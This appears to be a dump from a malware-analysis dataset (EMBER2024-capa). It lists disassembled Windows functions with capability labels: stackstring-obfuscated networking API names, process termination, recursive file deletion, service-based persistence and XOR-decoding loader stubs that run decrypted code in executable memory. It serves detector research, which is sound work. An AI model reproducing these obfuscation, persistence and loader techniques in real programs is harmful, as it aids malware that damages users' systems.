joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402a69
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push edi
mov edi, ecx
xor ebx, ebx
call fcn.00404b03
mov ecx, eax
call fcn.00404b64
test eax, eax
je 0x402ada
push esi
lea ecx, [ebp - 0x18]
mov word [ebp - 0x14], 0x6e72
push ecx
push eax
mov dword [ebp - 0x11], 0x65755174
mov dword [ebp - 8], 0x576e6f69
mov dword [ebp - 0xd], 0x704f7972
mov dword [ebp - 0x18], 0x65746e49
mov byte [ebp - 9], 0x74
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 4], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402ad9
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
push 0x1f
push edi
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
mov eax, ebx
pop ebx
leave
ret

Function at 0x402ae0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
mov edi, ecx
xor ebx, ebx
call fcn.00404b03
mov ecx, eax
call fcn.00404b64
test eax, eax
je 0x402b5a
push esi
lea ecx, [ebp - 0x14]
mov word [ebp - 0xc], 0x6553
push ecx
push eax
mov word [ebp - 0x11], 0x7265
mov dword [ebp - 7], 0x6e6f6974
mov word [ebp - 9], 0x704f
mov word [ebp - 0x14], 0x6e49
mov word [ebp - 0xe], 0x7465
mov word [ebp - 3], 0x57
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0x12], 0x74
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402b59
push 4
push dword [ebp + 8]
mov ecx, esi
push 0x1f
push edi
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
mov eax, ebx
pop ebx
leave
ret

Function at 0x402b60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
push ebx
push ebp
push edi
mov edi, edx
mov ebp, ecx
xor ebx, ebx
call fcn.00404b03
mov ecx, eax
call fcn.00404b64
test eax, eax
je 0x402be2
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x11], 0x4f707474
push ecx
push eax
mov word [esp + 0x21], 0x7165
mov dword [esp + 0x25], 0x577473
mov word [esp + 0x1e], 0x6e65
mov word [esp + 0x23], 0x6575
mov byte [esp + 0x20], 0x52
mov byte [esp + 0x1d], 0x70
mov byte [esp + 0x18], 0x48
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402be1
push ebx
push dword [esp + 0x3c]
mov ecx, esi
push ebx
push ebx
push str.HTTP_1.0
push dword [esp + 0x3c]
push edi
push ebp
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x14
ret
Function at 0x402beb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
push ebx
push ebp
push edi
mov edi, edx
mov ebp, ecx
xor ebx, ebx
call fcn.00404b03
mov ecx, eax
call fcn.00404b64
test eax, eax
je 0x402c60
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x15], 0x4374656e
push ecx
push eax
mov dword [esp + 0x21], 0x656e6e6f
mov dword [esp + 0x18], 0x65746e49
mov word [esp + 0x26], 0x5774
mov byte [esp + 0x1c], 0x72
mov byte [esp + 0x28], bl
mov byte [esp + 0x25], 0x63
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402c5f
push ebx
push ebx
push 3
push ebx
push ebx
push dword [esp + 0x3c]
mov ecx, esi
push edi
push ebp
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x14
ret

Function at 0x4031c1
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x22c
push ebp
push esi
push edi
xor esi, esi
mov ebp, ecx
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x403248
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x403241
push ebx
push ebp
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40321b
push dword [esp + 0x18]
push esi
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
jne 0x40322e
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x4031f8
jmp 0x403240
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
inc esi
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebp
add esp, 0x22c
ret
Function at 0x403254
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x45c
lea eax, [esp + 4]
push ebx
push esi
push edi
mov esi, ecx
mov ebx, 0x208
push esi
push ebx
push eax
call fcn.0040a952
push 0x41cfe4
lea eax, [esp + 0x20]
push ebx
push eax
call fcn.0040a8dd
add esp, 0x18
lea eax, [esp + 0x218]
push eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 4
mov edi, eax
pop ebx
mov edx, 0x41cfec
lea ecx, [esp + 0x244]
mov ax, word [ecx]
cmp ax, word [edx]
jne 0x4032d1
test ax, ax
je 0x4032cd
mov ax, word [ecx + 2]
cmp ax, word [edx + 2]
jne 0x4032d1
add ecx, ebx
add edx, ebx
test ax, ax
jne 0x4032ad
xor eax, eax
jmp 0x4032d6
sbb eax, eax
or eax, 1
test eax, eax
je 0x4033bf
mov ecx, 0x41cff0
lea eax, [esp + 0x244]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40330e
test dx, dx
je 0x40330a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40330e
add eax, ebx
add ecx, ebx
test dx, dx
jne 0x4032ea
xor eax, eax
jmp 0x403313
sbb eax, eax
or eax, 1
test eax, eax
je 0x4033bf
push esi
lea eax, [esp + 0x14]
push 0x208
push eax
call fcn.0040a952
push 0x41cff8
lea eax, [esp + 0x20]
push 0x208
push eax
call fcn.0040a8dd
lea eax, [esp + 0x25c]
push eax
lea eax, [esp + 0x2c]
push 0x208
push eax
call fcn.0040a8dd
add esp, 0x24
test byte [esp + 0x218], 0x10
je 0x403388
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyW]
test eax, eax
jne 0x40337b
lea ecx, [esp + 0x10]
call fcn.00403254
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x4033ae
test byte [esp + 0x218], 1
je 0x4033a3
lea eax, [esp + 0x10]
push 0x80
push eax
call fcn.0040a9b6
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x4033bf
push ebx
push eax
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [esp + 0x218]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4032a1
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x4033f1
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4033f8
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push esi
push edi
push 0x208
push 0
push eax
mov esi, edx
mov edi, ecx
call fcn.00407000
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push esi
push edi
push str._s_s_s
push 0xffffffffffffffff
push 0x104
push eax
call fcn.00404c81
add esp, 0x28
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
pop edi
pop esi
test eax, eax
je 0x403465
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.GDI32.dll_RemoveFontResourceW]
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
leave
ret
Function at 0x403467
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push 0x69
pop eax
push 0x75
mov word [ebp - 0x16], ax
pop eax
push 0x61
mov word [ebp - 0xc], ax
xor eax, eax
mov word [ebp - 4], ax
pop eax
push 0x72
mov word [ebp - 0x1a], ax
pop eax
push 0x43
mov word [ebp - 6], ax
pop eax
push 0x70
mov word [ebp - 0x10], ax
pop eax
push 0x52
mov word [ebp - 0x18], ax
pop eax
push 0x65
mov word [ebp - 0x1c], ax
pop eax
push 0x6e
mov word [ebp - 8], ax
pop eax
push 0x54
mov word [ebp - 0xa], ax
pop eax
push 0x64
mov word [ebp - 0xe], ax
pop eax
push 0x50
mov word [ebp - 0x14], ax
pop eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x1c]
push 0x41cf9c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x403573
push esi
push 0x208
xor esi, esi
lea eax, [ebp - 0x224]
push esi
push eax
call fcn.00407000
add esp, 0xc
lea eax, [ebp - 0x224]
push esi
push 0x2a
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x224]
call fcn.00401afd
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x224]
call fcn.00401a9e
push esi
push 0x23
lea eax, [ebp - 0x224]
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x224]
call fcn.00401a9e
push esi
push 0x1c
lea eax, [ebp - 0x224]
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x224]
call fcn.00401afd
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x224]
call fcn.00401a9e
pop esi
leave
ret

Function at 0x403575
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 2
push ecx
call fcn.0040298b
add esp, 0xc
test eax, eax
jne 0x4035a0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [ebp - 4]
call fcn.00402a05
leave
ret

Function at 0x403ad6
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x401c60
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x42149c], eax
ret
Function at 0x1001c800
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10056018]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x24], 0
cmp dword [esi + 0x14], 0x10
jb 0x1001c825
mov eax, dword [esi]
jmp 0x1001c827
mov eax, esi
push 0
lea edx, [ebp - 0x24]
push edx
push dword [esi + 0x10]
push eax
push dword [ecx]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x1001c879
push esi
mov edx, str.Write_file:
lea ecx, [ebp - 0x20]
call fcn.10030d20
add esp, 4
call dword [sym.imp.kernel32.dll_GetLastError]
cmp dword [ebp - 0xc], 0x10
jb 0x1001c866
push dword [ebp - 0x20]
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor al, al
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1003fc71
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
xor ecx, ebp
mov al, 1
pop esi
call fcn.1003fc71
mov esp, ebp
pop ebp
ret 4

Function at 0x10030d20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10030d2f
pop dword [ebp - 0x18]
mov eax, 0x10030d2f
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x55d76799
add dword [ebp - 0x28], 0xf87addb2
mov dword [ebp - 0x24], 0x544da89e
sub dword [ebp - 0x24], 0x221a5c59
mov dword [ebp - 0x20], 0x843253bd
sub dword [ebp - 0x20], 0x37e60f8f
mov dword [ebp - 0x1c], 0x5902eda
sub dword [ebp - 0x1c], 0x5902eda
lea eax, [ebp - 0x28]
push eax
mov eax, 0x21bf14cf
add eax, 0xee455bf9
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xb92b1c11
add dword [ebp - 0x28], 0xbb474d45
mov dword [ebp - 0x24], 0x7d8c2ab4
sub dword [ebp - 0x24], 0x3c1fc93f
mov dword [ebp - 0x20], 0xb5142518
add dword [ebp - 0x20], 0xae5b4754
mov dword [ebp - 0x1c], 0xd7ad624a
add dword [ebp - 0x1c], 0x28529db6
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xc9b2a77f
sub eax, 0xb9ae369b
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x45401
push 0
call eax
mov ecx, 0x5328
xor edx, edx
add edx, eax
mov ebx, 0x10063000
add ebx, dword [ebp - 0x18]
mov edi, 0x432fd174
add edi, 0x113c017a
sub dword [ebp - 0x14], esi
mov esi, dword [ebx]
xor esi, edi
add dword [ebp - 8], ebx
mov dword [edx], esi
sub dword [ebp - 8], 0x9dbab24c
add edx, 0x99c3ef3b
add edx, 0x663c10c9
add ebx, 0x4ff5dd2b
sub ebx, 0x4ff5dd27
loop 0x10030e42
add eax, 0x983e30fe
sub eax, 0x983cf18b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xa7731b58
sub ecx, 0x97731b58
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x4090222b
Capabilities:
Create service
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
mov esi, ecx
push ebx
push ebx
mov dword [ebp - 0x18], esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 8], edi
je 0x40902327
lea eax, [ebp - 0x11c]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x11c]
push ebx
push ecx
push 1
push 3
lea eax, [esi + 4]
push 0x10
push 0xf01ff
push eax
push eax
push edi
mov dword [ebp - 0x10], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, ebx
mov dword [ebp - 0xc], eax
jne 0x409022a4
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x40902327
mov edi, 0x409015c4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x21c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 4], ebx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x21c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 4]
mov ecx, edx
push eax
lea eax, [ebp - 0x21c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x4090232b
push dword [ebp - 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 8]
call esi
xor al, al
jmp 0x409023a4
lea edi, [ebp - 0x11c]
or ecx, 0xffffffff
xor eax, eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
repne scasb al, byte es:[edi]
not ecx
lea eax, [ebp - 0x11c]
push ecx
push eax
push 2
push ebx
push 0x409015b0
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x14]
push 4
push eax
push 4
push ebx
push 0x409015a0
push dword [ebp - 4]
mov dword [ebp - 0x14], 7
call esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x18]
push ebx
push ebx
mov ecx, esi
push dword [ebp - 0x10]
push 0x64
push 4
call fcn.40902479
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0xc]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 8]
call esi
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409023a9
Capabilities:
Delete registry key
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
xor ebx, ebx
push 0xf003f
push ebx
mov esi, ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, ebx
mov dword [ebp - 0x10], eax
jne 0x409023d0
xor al, al
jmp 0x40902475
push edi
lea edi, [esi + 4]
push 0x10020
push edi
push eax
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x40902468
lea ecx, [ebp - 0x2c]
push ecx
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x10]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push ebx
push ebx
test eax, eax
push edi
je 0x40902454
push 0x65
push 4
mov ecx, esi
call fcn.40902479
lea eax, [ebp - 8]
mov byte [ebp - 1], 1
push eax
push 0x20006
push ebx
push 0x409015c4
push 0x80000002
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4090245f
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4090245f
push 0x66
push 1
mov ecx, esi
call fcn.40902479
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40902479
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
push esi
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x18]
push edi
mov esi, ecx
push 3
mov dword [ebp - 4], eax
xor edi, edi
xor ebx, ebx
lea eax, [ebp - 0xc]
pop ecx
cmp dword [eax], edi
je 0x409024a5
inc ebx
add eax, 4
dec ecx
jne 0x409024a0
cmp dword [esi + 0x70], edi
jne 0x409024be
lea eax, [esi + 4]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov dword [esi + 0x70], eax
mov esi, dword [esi + 0x70]
cmp esi, edi
je 0x409024db
lea eax, [ebp - 0xc]
push edi
push eax
push edi
push ebx
push edi
push dword [ebp + 0xc]
push edi
push dword [ebp + 8]
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x40902d04
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
push esi
push edi
je 0x40902d3a
lea eax, [ebp - 4]
push ebx
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push dword [0x40904070]
mov dword [ebp - 4], ebx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, ebx
je 0x40902d3e
xor eax, eax
jmp 0x40902d9f
push 1
lea eax, [ebp - 0xc]
pop edi
push 4
mov dword [ebp - 8], edi
pop esi
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
jne 0x40902d77
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x40902d9f
lea eax, [ebp - 8]
push esi
push eax
push esi
push ebx
mov dword [ebp - 8], edi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp esi, ebx
sete al
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40902da6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
cmp dword [ebp + 8], esi
push edi
je 0x40902e0f
lea eax, [ebp - 4]
push esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [0x40904070]
mov dword [ebp - 4], esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, esi
jne 0x40902e0f
push 4
mov dword [ebp - 8], esi
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, esi
je 0x40902e13
xor al, al
jmp 0x40902e19
cmp dword [ebp - 8], esi
setne al
pop edi
pop esi
leave
ret 4
Function at 0x40902fb0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40901720
push 0x40903220
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffff98
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 2
call dword [sym.imp.MSVCRT.dll___set_app_type]
add esp, 4
mov dword [0x4090413c], 0xffffffff
mov dword [0x40904140], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x40904134]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov edx, dword [0x40904130]
mov dword [eax], edx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov ecx, dword [eax]
mov dword [0x40904138], ecx
call fcn.40903210
mov eax, dword [0x40904090]
test eax, eax
jne 0x40903041
push 0x40903200
call dword [sym.imp.MSVCRT.dll___setusermatherr]
add esp, 4
call fcn.409031e0
push 0x40904014
push 0x40904010
call sub.MSVCRT.dll__initterm
add esp, 8
mov edx, dword [0x4090412c]
mov dword [ebp - 0x6c], edx
lea eax, [ebp - 0x6c]
push eax
mov ecx, dword [0x40904128]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVCRT.dll___getmainargs]
add esp, 0x14
push 0x4090400c
push section..data
call sub.MSVCRT.dll__initterm
add esp, 8
mov edx, dword [sym.imp.MSVCRT.dll__acmdln]
mov esi, dword [edx]
mov dword [ebp - 0x74], esi
cmp byte [esi], 0x22
jne 0x4090314f
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x409030b5
cmp al, 0x22
jne 0x409030a7
cmp byte [esi], 0x22
jne 0x409030be
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x409030ce
cmp al, 0x20
ja 0x409030ce
inc esi
mov dword [ebp - 0x74], esi
jmp 0x409030be
mov dword [ebp - 0x30], 0
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x409030ef
mov eax, dword [ebp - 0x2c]
and eax, 0xffff
jmp 0x409030f4
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
jmp 0x40903134
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0x20
jbe 0x409030be
inc esi
mov dword [ebp - 0x74], esi
jmp 0x4090314f
Function at 0x1001bd6d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1001bd7c
pop dword [ebp - 0x2c]
mov eax, 0xf962c537
sub eax, 0xe96107bb
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x49150e2d
sub dword [ebp - 0x3c], 0xfac2c8e2
mov dword [ebp - 0x38], 0xa8c24973
sub dword [ebp - 0x38], 0x768efd2e
mov dword [ebp - 0x34], 0xbed9251e
sub dword [ebp - 0x34], 0x728ce0f0
mov dword [ebp - 0x30], 0x3e6a74d0
add dword [ebp - 0x30], 0xc1958b30
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xbe1aab40
add dword [ebp - 0x3c], 0xb657be16
mov dword [ebp - 0x38], 0x544ece77
add dword [ebp - 0x38], 0xed1d92fe
mov dword [ebp - 0x34], 0x6ade7211
sub dword [ebp - 0x34], 0x76f05a5
mov dword [ebp - 0x30], 0xf69e7a0
sub dword [ebp - 0x30], 0xf69e7a0
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3965c
push 0
call eax
mov ecx, 0x411e
xor edx, edx
add edx, eax
mov ebx, 0x10029a00
add ebx, dword [ebp - 0x2c]
mov edi, 0x3eb6f87f
sub edi, 0xa4dba74c
xor dword [ebp - 0x18], ecx
mov esi, dword [ebx]
add dword [ebp - 8], ebx
sub esi, edi
xor dword [ebp - 8], 0x957cfb3e
mov dword [edx], esi
xor dword [ebp - 0x14], 0x4724b041
add edx, 0x40b19fe0
add edx, 0xbf4e6024
add ebx, 4
loop 0x1001be8a
add eax, 0x7ed6d82e
sub eax, 0x7ed5e0e3
mov ebx, eax
add eax, 5
mov ecx, 0xa0db1613
sub ecx, 0x90db1613
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x1001cc37
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi + 0x2d], 0
jne 0x1001ccba
push ebx
mov ebx, dword [ebp + 0x10]
push edi
push 0
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
push dword [esi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov edi, dword [ebp + 0x10]
cmp edi, ebx
je 0x1001cc84
mov byte [esi + 0x2d], 0xff
test edi, edi
je 0x1001cc84
cmp edi, ebx
jge 0x1001cc84
mov eax, dword [ebp + 0xc]
mov ecx, ebx
sub ecx, edi
push ecx
add eax, edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [esi + 0x18], 0
je 0x1001ccb4
add dword [esi + 0x1c], ebx
cmp dword [esi + 0x1c], 0xffff
jle 0x1001ccb4
xor eax, eax
mov word [esi + 0x1e], ax
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x18]
mov edx, dword [ecx]
push 1
push dword [esi + 0x20]
push eax
push ecx
call dword [edx + 0xc]
mov edi, dword [ebp + 0x10]
mov eax, edi
pop edi
pop ebx
jmp 0x1001cccc
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
pop esi
pop ebp
ret 0xc